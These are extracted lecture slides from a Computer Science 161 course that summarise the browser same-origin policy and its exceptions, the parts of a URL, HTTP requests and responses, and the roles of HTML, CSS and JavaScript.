No. Port mismatch�80 ≠ 8000

Computer Science 161

Same-Origin Policy

• Webpages from different origins cannot interact with each other
• Example: If cs161.org embeds google.com, the inner frame cannot interact with the outer frame, and the outer frame cannot interact with the inner frame
• Exception: JavaScript runs with the origin of the page that loads it
• Example: If cs161.org fetches JavaScript from google.com, the JavaScript has the origin of cs161.org
• Intuition: cs161.org has “copy-pasted” JavaScript onto its webpage
• Exception: webpages can fetch and display images from other origins
• However, Javascript in the webpage only knows about the image’s size and dimensions (cannot actually manipulate the image)
• Exception: Websites can agree to allow some limited sharing
• Cross-origin resource sharing (CORS)
• The postMessage function in JavaScript

117

Computer Science 161

URLs: Summary

• URL: A string that uniquely identifies one piece of data on the web
• Parts of a URL:
• Protocol: Defines which Internet protocol to use to retrieve the data (e.g. HTTP or HTTPS)
• Location: Defines which web server to contact
• Can optionally contain a username or port
• Path: Defines which file on the web server to fetch
• Query (optional): Sends arguments in name-value pairs to the web server
• Fragment (optional): Not sent to the web server, but used by the browser for processing
• Special characters should be URL escaped

118

Computer Science 161

HTTP: Summary

• HTTP: A protocol used to request and retrieve data from a web server
• HTTPS: A secure version of HTTP
• HTTP is a request-response protocol
• HTTP request
• Method (GET or POST)
• URL path and query parameters
• Protocol
• Data (only for POST requests)
• HTTP response
• Protocol
• Status code: A number indicating what happened with the request
• Headers: Metadata about the response
• Data

119

Computer Science 161

Parts of a Webpage: Summary

• HTML: A markup language to create structured documents
• Create a link
• Create a form
• Embed an image
• Embed another webpage (iframe or frame)
• CSS: A style sheet language for defining the appearance of webpages
• As powerful as JavaScript if used maliciously!
• JavaScript: A programming language for running code in the web browser
• JavaScript code runs in the web browser
• Modify any part of the webpage (e.g. HTML or CSS)
• Create pop-up messages
• Make HTTP requests

120

Computer Science 161

Same-Origin Policy: Summary

• Rule enforced by the browser: Two websites with different origins cannot interact with each other
• Two webpages have the same origin if and only if the protocol, domain, and port of the URL all match exactly (string matching)
• Exceptions
• JavaScript runs with the origin of the page that loads it
• Webpages can fetch and display images from other origins
• Websites can agree to allow some limited sharing

121

Computer Science 161